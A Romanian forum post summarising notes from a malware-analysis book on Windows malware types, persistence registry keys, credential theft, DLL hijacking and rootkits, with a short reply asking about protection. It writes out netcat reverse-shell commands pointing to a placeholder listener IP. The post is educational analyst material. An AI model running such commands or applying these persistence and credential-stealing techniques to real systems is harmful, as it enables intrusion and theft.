int21h.exe Posted March 26, 2014 Report Posted March 26, 2014 (edited) Salut,In randurile ce urmeaza sunt sumarizate cele mai comune caracteristici ale software-urilor identificate ca fiind malware.Se face referire la malware doar prin prisma SO Windows, v. 32-Bit. Notiunile sunt la nivel de incepator si reprezinta notitele pe care le-am scos citind cartea "PRACTICAL MALWARE ANALYSIS - The Hands-On Guide to Dissecting Malicious Software" de Michael Sikorski si Andrew Honig. (SURSA)Sper sa fie de folos cuiva.Continut:1. DOWNLOADERS SI LAUNCHERS(A.K.A. LOADERS)2. BACKDOORS. 2.1. REVERSE SHELL 2.1.1. Reverse Shell Netcat 2.1.2. Reverse shell Windows 2.2. RAT (REMOTE ADMINISTRATION TOOL) 2.3. BOOTNET3. CREDENTIAL STEALERS (MALWARE CARE "FURA" CREDENTIALE) 3.1. INTERCEPTARE GINA(GRAPHICAL IDENTIFICATION AND AUTHENTICATION) 3.2. HASH DUMPING 3.3. INREGISTRAREA TASTELOR APASATE (KEYSTROKE LOGGING) 3.3.1. Keyloggere kernel-based 3.3.2. Keyloggere user-space based4. MECANISME DE PERSISTENTA 4.1. MODIFICAREA REGISTRILOR WINDOWS 4.1.1. AppInt_DLLs 4.1.2. Winlogon Notify 4.1.3. DLL-uri SvcHost 4.2. INFECTAREA CU TROIENI A BINARELOR (TROJANIZING BINARIES) 4.3. DLL LOAD-ORDER HIJACKING (DETURNAREA ORDINEI DE INCARCARE A DLL-URILOR IN MEMORIE)5. ESCALADAREA PRIVILEGIILOR6. ACOPERIREA URMELOR -> USER-MODE ROOTKITSDefinitie:Malware : forma scurta de la „Malicious Software”, este acel software ostil sau intruziv care a fost creat in scopul perturbarii operatiunilor efectute de un sistem, in scopul adunarii de informatii sensibile dintr-un sistem, pentru a obtine acces neautorizat la un sistem sau pentru orice alt scop malitios/rau intentionat.1. Downloaders si launchers(a.k.a. loaders)Downloaderele si loaderele sunt doua tipuri des intalnite de malware. Downloaderele pur si simplu downloadeaza, descarca, o alta aplicatie malware de pe internet si o executa local, in sistem infectat. Downloaderele sunt adesea ambalate ("packaged") intr-un exploit. Nota pentru analisti malware (NAM): downloaderele utilizeaza de obicei API-ul Windows "URLDownloadtoFileA" urmat de un apel al "WinExec" pentru a downloada si executa noua aplicatie malware.Un launcher/loader este orice executabil care instaleaza aplicatii malware in scopul executarii imediate sau viitoare a acestora. Loaderele contin adesea malware-ul pe care sunt proiectate sa le incarce.2. Backdoors.Un backdoor este un tip de malware care furnizeaza unui atacator acces remote(acces de la distanta) la calculatorul victimei. Este cel mai intalnit tip de malware iar codul sau implementeaza adesea un set complet de capabilitati, asa ca atunci cand este utilizat, in mod normal nu este nevoie sa se mai downloadeze malware sau cod aditional.Un backdoor comunica peste internet in numeroase feluri dar cea mai comuna metoda este pe portul 80 utilizand protocolul HTTP. De ce? Pentru ca astfel isi poate ascunde cel mai bine in trafic datele trimise, pentru ca este un protocol foarte utilizat, etc.Un backdoor are un set de functionalitati in care sunt incluse si : abilitatea de a manipula registrii, abilitatea de creare de directoare in sistemul infectat, de a cauta fisiere in sistemul infectat, de a enumera ferestrele deschise, etc. NAM : se pot determina capabilitatile implementate de backdoor prin identificarea functiilor Windows pe care le importa si le foloseste acesta.2.1. Reverse ShellUn reverse shell este defapt o conexiune deschisa de o masina infectata pentru o anumita adresa si care furnizeaza atacatorului accesul la un shell pe masina respectiva. Reverse shell-urile pot fi considerate atat malware de sine statatoare cat si componente ale unor backdoor-uri sofisticate. Avand un reverse shell, atacatorii pot executa comenzi ca si cum ar fi in sistemul local.2.1.1. Reverse Shell NetcatUtilitarul, instrumentul, tool-ul Netcat poate fi utilizat pentru crearea unui reverse shell prin rularea pe doua masini(arhitectura server,client). Atacatorii utilizeaza Netcat sau ambaleaza Netcat (includ netcat) in aplicatii malware. Atunci cand se utilizeaza Netcat pentru un reverse shell, masina remote (victima, care este si serverul)este instructata sa asculte pentru conexiuni prin codul/instructiunea: nc -l –p 80Optiunea -l seteaza Netcat in modul ascultare (listening) iar optiunea -p este folosita pentru a seta portul pe care se asculta. In continuare, calculatorul victima accepta conexiunea si furnizeaza shell-ul utilizand comanda : nc listener_ip 80 -e cmd.exeListener_ip 80 reprezinta adresa IP si portul calculatorului remote (al atacatorului). Optiunea -e este utilizata pentru a stabili programul de executat odata ce conexiunea a fost stabilita, prin incercarea inputului si outputului standard de la program la socketul creat.2.1.2. Reverse shell WindowsAtacatorii folosesc doua implementari simple de codare a aplicatiilor malware pentru reverse shell in Windows, folosind cmd.exe : de baza si prin multithreading.NAM:- Metoda de baza este populara printre autorii de malware deoarece este mai usor de scris si in general functioneaza la fel de bine ca si tehnica multithreading. Aceasta metoda implica apelul functiei "CreateProcess" si manipularea structurii STARTUPINFO care este transmisa functiei "CreateProcess". Mai intai se creaza un socket si se stabileste o conexiune catre serverul remote. Acest socket este mai apoi legat la fluxurile standard (standard streams : standard input, standard output si standard error) pentru cmd.exe. Functia "CreateProcess" ruleaza cmd.exe cu fereastra suprimata,pentru a o ascunde de victima.- Versiunea multithreading a reverse shelului Windows implica actiunea de creare a unui socket, a doua conducte (o sa le las pipe) si a doua fire de executie(asadar se vor exista apeluri API catre "CreateThread" si "CreatePipe". Aceasta metoda este utilizata uneori de autorii aplicatiilor malware ca strategie de manipulare si codificare a datelor ce vin sau pleaca printr-un socket.2.2. RAT (Remote administration tool)Un RAT este utilizat pentru a gestiona de la distanta unul sau mai multe calculatoare si sunt adesea utilizate in atacuri cu scopuri precise, specifice, cum ar fi furtul informatiilor sau deplasarea pe laterala intr-o retea.Ca si arhitectura de retea, exista un client (numit si centru de comanda si control -CC) care este operat/controlat de atacator si care trimite comenzi catre server/servere (victime). Serverele (masinile infectate) indruma clientul pentru a incepe o conexiune si mai apoi sunt controlate prin aceasta. Comunicatia RAT se desfasoara de obicei pe porturi comune ca 80 si 443.2.3. BootnetUn bootnet este o colectie de hosturi (calculatoare) compromise, numite si zombi (zombies), care sunt controlate de catre o singura entitate, de obicei folosind un server numit bootnet controller. Scopul unui bootnet este acela de a controla si compromite(infecta) cat mai multe hosturi pentru a se crea o retea cat mai mare de zombies, pe care bootnetul sa ii foloseasca pentru a imprastia (pentru a face spread) malware sau pentru a face spam, sau pentru sustine atacuri distributed denial-of-service (DDOS). Bootnet-urile pot da jos(pot pune offline) un website in urma atacarii acestuia cu toate calculatoarele zombies in acelasi timp. Intre bootnet si RAT exista urmatoarele diferente:- Intr-un bootnet pot exista milioane de hosturi infectate si controlate iar cu un RAT se pot controla mult mai putine deoarece interactiunea cu hostul infectat este mai mare;- Toate bootnet-urile sunt controlate in acelasi timp(toate hosturile primesc acceasi comanda simultan). Cu RAT se controleaza o singura victima la un moment-dat datorita nivelului ridicat de interactiune cu hostul controlat;- RAT sunt utilizate in atacurile tintite, ("targeted atacks") iar bootnet-urile sunt folosite la atacurile in masa. 3. Credential Stealers (malware care "fura" credentiale)Atacatorii folosesc in special 3 tipuri de malware pentru a captura credentiale:- programe care asteapta ca un utilizator sa se logeze undeva, pentru a-i fura credentialele;- programe care arunca/varsa ("dump") informatiile stocate in windows, cum sunt hash-urile parolelor, in scopul de a fi folosite direct sau "sparte"(gen decriptate) offline.- programe care stocheaza si/sau prelucreaza apasarile de taste (keyloggere)3.1. Interceptare GINA(Graphical Identification and Authentication) Pe Windows XP, procedeul Microsoft de interceptare GINA constituie o tehnica pe care aplicatiile malware o utilizeaza sa fure credentialele. Systemul GINA intentiona sa permita entitatilor terte legitime sa personalizeze procesul de logon, adaugand suport pentru functionalitati ca autentificarea prin folosirea token-ului RFID (radio-frequency identification) sau a carteleor (smart card). Astfel autorii de malware profita de suportul entitatilor terte pentru a-si incarca stealerele de credentiale. NAM : GINA este implementat intr-un DLL (Dynamic Link Library), msgina.dll si este incarcat de executabilul Winlogon in timpul procesului de login. Ca si mod de actiune, aplicatia malware se interpune intre winlogon.exe si msgina.dll (exact ca in atacul man-in-the-middle) avand astfel acces la fluxul de informatii dintre acestea.3.2. Hash Dumping"Varsarea" hash-urilor Windows este o cale foarte populara prin care aplicatiile malware acceseaza credentialele unui sistem. Hash-urile reprezinta rezultatul scriptic al criptarii parolelor. Atacatorii incearca sa puna mana pe aceste hash-uri cu scopul de a le decripta sau de a le utiliza in atacuri "pass-the-hash". Un atac "pass-the-hash" utilizeaza hash-uri LM (LAN Manager) si hash-uri NTLM (Network LAN Manager) pentru autentificarea la un host remote care foloseste autentificare NTLM, fara a fi nevoie ca parola sa fie obtinuta prin "spargerea" hash-ului. Pwdump si Pass-the-Hash (PSH) Toolkit sunt gratis si pot fi utilizate in scopul descris mai sus. Dar fiind unelte open-source, multe aplicatii malware au fost create prin modificarea codului sursa. Cei mai multi antivirusi au semnaturile pentru versiunile compilate default, dar atacatorii isi compileaza adesea propriile versiuni pentru a evita detectia. NAM : pwdump este un set de programe ce obtin parolele LM si NTLM ale conturilor de utilizatori locali din SAM (Security Account Manager). Pwdump functioneaza facand injectie DLL in procesul Local Security Authority Subsystem Service (LSASS, cunoscut si ca lsass.exe)3.3. Inregistrarea tastelor apasate (Keystroke Logging)Keylogging-ul este o forma clasica de a fura credentialele. In timpul procesului de "keylogging" aplicatia malware inregistreaza tastele apasate, astfel atacatorul putand observa datele tastate incluzand username-uri si parole. Aplicatiile malware pentru Windows utilizeaza multe forme de "keylogging".3.3.1. Keyloggere kernel-basedKeyloggerele kernel-based sunt cele utilizate de aplicatii ce ruleaza in kernel-mode si sunt foarte greu de detectat. Frecvent fac parte dintr-un rootkit si se pot comporta ca si driverele tastaturii pentru a captura tastarile, pentru a trece peste programele si protectia din spatiul utilizatorului.3.3.2. Keyloggere user-space basedKeyloggerele din spatiul utilizatorului din Windows folosesc de obicei API-uri Windows si sunt implementate de obicei fie prin hooking(agatare) fie prin pooling(folosire la comun).- Hooking-ul foloseste API-urile Windows pentru a notifica aplicatia malware de fiecare data cand o tasta este apasata (NAM : de obicei prin apelul functiei "SetWindowsHookEx" ). Acest tip de keylogger poate fi ambalat ca si un executabil care initiaza functia de "agatare"-hook function, si poate include si un fisier DLL care sa gestioneza inregistrarea ce poate fi mapata automat in mai multe procese ale sistemului.- Pooling-ul foloseste API-urile Windows pentru a oferi constant informatii despre starea tastelor - apasate, neapasate si ferestrele active (NAM : de obicei apeland functiile "GetAsyncKeyState" si "GetForegroundWindow")4. Mecanisme de persistentaOdata ce o aplicatie malware castiga accesul la un sistem, de cele mai multe ori vrea sa stea acolo cat mai mult. Acest comportament este cunoscut sub numele de "persitenta". Daca mecanismul prin care se asigura persistenta este indeajuns de unic, poate fi folosit chiar si ca o cale de a identifica o aplicatie malware(malware fingerprint).4.1. Modificarea registrilor WindowsCea mai intalnita metoda de asigurare a persistentei. Asa cum stim, in registrii se stocheaza setarile intregului sistem.(software, hardware, user,etc)Spre exemplu, un malware isi asigura persistenta modificand cheia HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runceea ce inseamna ca va porni automat la pornirea calculatorului.Exista unelte care pot cauta registrii persistenti (ex :Autoruns), si care iti indica toate programele care ruleaza automat. Exista unelte care monitorizeaza modificarile in registrii (ProcMon), etc.Registrii de intrare populari, folositi adesea de malware:4.1.1. AppInt_DLLsAutorii de malware pot asigura persistenta pentru DLL-urile lor prin utilizarea locatiei unui registru special numit "AppInt_DLLs"(o grupare de DLL-uri). DLL-urile din "AppInt_DLL" sunt incarcate in fiecare proces care incarca(importa) la randul sau User32.dll si o simpla insertie in registru va face ca AppInit_DLLs fie persistent. Valoarea pentru "AppInt_DLLs" este stocata in urmatorul registru Windows:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WindowsValoarea AppInt_DLLs este de tip REG_SZ si consta intr-un string format din numele DLL-urilor separate prin spatiu. Cele mai multe procese incarca User32.dll si toate acestea incarca de asemenea DLL-urile din AppInit_DLLs. Adesea autori de aplicatii malware tintesc anumite procese iar faptul de mai sus este ca un bonus pentru ei. NAM: asadar, creatorii de malware trebuie sa verifice pentru a vedea in ce proces este executat DLL-ul inainte de a executa payload-ul lor. Aceasta verificare este adesea facuta in functia "DllMain" a DLL-ului infectat.4.1.2. Winlogon NotifyAutorii de aplicatii malware pot agata/atasa aplicatiile unui eveniment Winlogon particular, cum ar fi logon, logof,startup, shutdown si lock screen. Acest lucru poate permite aplicatiei malware sa fie incarcata pana si in safe mode! Intrarea in registru consta in valoarea pe care o are Notify in urmatorea cheie :HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Atunci cand winlogon.exe genereaza un eveniment, Windows verifica cheia registrului Notify pentru DLL-ul care il gestioneaza (handler).4.1.3. DLL-uri SvcHost Stim ca toate serviciile persista in registrii iar daca sunt sterse din registrii, serviciile nu vor porni. Aplicatiile malware sunt adesea instalate ca si servicii Windows dar folosesc de obicei un executabil. Instaland aplicatii malware care sa aiba persistenta ca si un DLL svchost.exe permite ca malware-ul sa fie inclus in lista de procese si in registrii la fel de bine ca si un serviciu standard.„svchost.exe” este un proces generic al hostului pentru servicii care ruleaza din DLL-uri. Sistemul Windows poate rula adesea mai multe instante ale svchost.exe in acelasi timp. Fiecare instanta a svchost.exe contine un grup de servicii care fac ca developmentul, testarea si managementul grupului de servicii mai usoara. Grupurile sunt definite la urmatoarea locatie in registrii(fiecare valoare reprezinta un grup):HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvchostServiciile sunt definite in registrii la urmatoarea locatie:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceNameWindows are un numar predefinit de grupuri de servicii asa ca aplicatiile malware nu creaza de obicei un nou grup deoarece vo fi usor de detectat. Insa, majoritatea aplicatiilor malware se vor adauga intr-un grup predefinit suprascriind un serviciu non-vital si rar folosit, din grupul de servicii netsvcs.4.2. Infectarea cu troieni a binarelor (Trojanizing Binaries)Asigurarea persistentei prin modificarea fisierelor prin metoda „troianizarii” fisierelor binare(trojanizing binaries). Prin aceasta metoda, aplicatia malware patch-uieste bytes dintr-un sistem binar pentru a forta sistemul sa execute aplicatia malware data viitoare cand binarul infectat este incarcat in memorie sau rulat. Autorii programelor malware tintesc de obicei un sistem binar care este utilizat frecvent intr-o operatie efectuata de Windows. (DLL-urile sunt cele mai frecvente tinte.)Un sistem binar este modificat de obicei prin patch-uirea functiei de intrare astfel incat aceasta sa contina un salt la codul malitios. Patch-ul suprascrie partea de inceput a functiei sau alt cod care nu este necesar DLL-ului troianizat pentru a functiona in conditii optime. Codul malitios este adaugat la o sectiune goala a binarului astfel incat sa nu impacteze o operatie normala. Codul inserat incarca aplicatia malware si va functiona indiferen daca e inserat in DLL-ul infectat. Dupa ce codul incarca in memorie aplicatia malware, se sare la codul original al DLL-ului si totul se desfasoara ca mai inainte de aplicarea patch-ului. 4.3. DLL load-order hijacking (deturnarea ordinei de incarcare a DLL-urilor in memorie)Asigurarea persistentei fara a modifica registrii sau binare.Deturnarea ordinei de incarcare a DLL-urilor in memorie este o tehnica simpla, ascunsa, ce permite autorilor de malware sa creeze DLL-uri malitioase, persistente fara sa modifice registrii sau sa troianizeze binare. Aceasta tehnica nu necesita nici macar un loader malitios deoarece se bazeaza pe modul in care DLL-urile sunt incarcate de Windows SO.Ordinea de cautare default pentru incarcare unui DLL in windows XP este: Se cauta in directorul in din care s-a incarcat aplicatia in memorie. Se cauta in directorul curent Se cauta in directorul sistemului(NAM : se foloseste functia "GetSystemDirectory" pentru a se gasi calea, cum ar fi …/Windows/System32/) Se cauta in directorul sistemului, pe 16 biti( cum ar fi …/Windows/System/) Se cauta in directorul Windows Se cauta in directoare listate in catea (PATH) variabilei de sistemSub Windows XP, procesul de incarcare a DLL-ului in memorie poate fi sarit daca se utilizeaza cheia de registru „KnownDLLs”, care contine o lista cu locatiile unor DLL-uri specifice, localizate de obicei in „…/Windows/System32/”. Mecanismul „KnownDLLs” a fost facut sa imbunatateasca securitatea(DLL-urile malitioase nu pot fi plasate mai sus in ordinea de incarcare) si viteza (Windows nu trebuie sa parcurga procesul prezentat mai sus ci stie direct unde sa mearga). Problema este ca poate sa contina doar o lista scurta a celor mai importante DLL-uri. Deturnarea ordinei de incarcare a DLL-urilor poate fi utilizata pe binare din alte directoare decat „/System32” ce incarca DLL-uri in „/System32” si care nu sunt protejate cu „KnownDLLs”. De exemplu, „explorer.exe” din directorul „/Windows” incarca DLL-ul „ntshrui.dll” din „/System32”. Deoarece „ntshrui.dll” nu este un DLL stiut (nu e in lista de „KnownDLLs”) ordine de cautare default de aplica si directorul „/Windows” va fi verificat inaintea directorului „/System32”. Daca un DLL malitios numit „ntshrui.dll”(ca cel cautat) este plasat in directorul „/Windows”, el va fi incarcat in locul celui legitim. DLL-ul malitios poate mai apoi incarca DLL-ul real pentru a da impresia ca nimic nu s-a intamplat!Asadar orice binar de startup care nu este gasit in „/System32” este vulnerabil la acest atac. Numai „explorer.exe” are aproximativ 50 de DLL-uri vulnerabile.5. Escaladarea privilegiilor Cei mai multi utilizatori au drepturi de administratori locali, ceea ce inseamna vesti bune pentru autorii de malware. Mai exact asta inseamna ca ca utilizatorul care are drepturi de administrator pe calculator poate da aplicatiilor malware aceleasi privilegii.Comunitatile preocupate de securitatea IT recomanda sa nu se utilizeze utilizatori cu drepturi de administrator, asfel incat daca accidental calculatorul a fost infectat cu un malware, acesta sa nu aiba automat drepturi de administrator asupra sistemului. Daca utilizatorul nu are drept de administrator, malware-ul trebuie sa efectueze un atac de escaladare a privilegiilor pentru a castiga acces total.Majoritatea atacurilor de escaladare a privilegiilor sunt exploituri cunoscute sau atacuri zero-day contra sistemului de operare local, multe din ele putand fi gasite in Framework-ul Metasploit. Chiar si deturnarea ordinii de incarcare a unui DLL,discutat mai sus, poate fi utilizat pentru escaladarea privilegiilor. Daca directorul in care DLL-ul malitios este localizat poate fi scris de utilizator si procesul care incarca DLL-ul este rulat cu un nivel mai mare de privilegii, atunci DLL-ul malitios va obtine escaladarea privilegiilor. Malware care sa includa escaladarea privilegiilor este relativ rar intalnit.6. Acoperirea urmelor -> User-Mode Rootkits Adesea se depun eforturi considerbile ca aplicatiile malware sa aiba procesele si pesistenta cat mai ascunsa(atat ca si nod de rulare cat si ca perioada pana la descoperire) Cea mai comuna unealta utilizata sa se ascunda activitatea malitioasa este denumita ca rootkit.Rootkit-urile pot avea multe forme dar cele mai multe functioneaza prin modificarea functionalitatii interne a sistemului de operare. Aceste modificari fac ca fisiere, procese, conexiuni sau alte resurse sa fie invizibile altor programe, care inlesnesc descoperirea activitatii malitioase de catre produse antivirus, administratori sau analisti de securitate.Anumite rootkituri modifica aplicatiile care utilizeaza spatiul utilizatorului dar majoritatea modifica direct kernelul, din moment ce mecanismele de protectie ca IPS-urile (intrusion prevention systems) sunt instalate si ruleaza la nivelul kernelului. ! Atat rootkiturile cat si mecanismele defensive sunt mult mai eficiente cand ruleaza la nivelul kernelului(Kernel-mode rootkits -> cel mai des intalnite). Edited March 26, 2014 by int21h.exe 2 Quote
reeaws Posted March 26, 2014 Report Posted March 26, 2014 Multmesc pentru efortul depus, poate revii si cu ceva info cum putem sa ne protejam calculatorul sau ce setari se pot face pentru un firewall. Orice informatie e de folos. Quote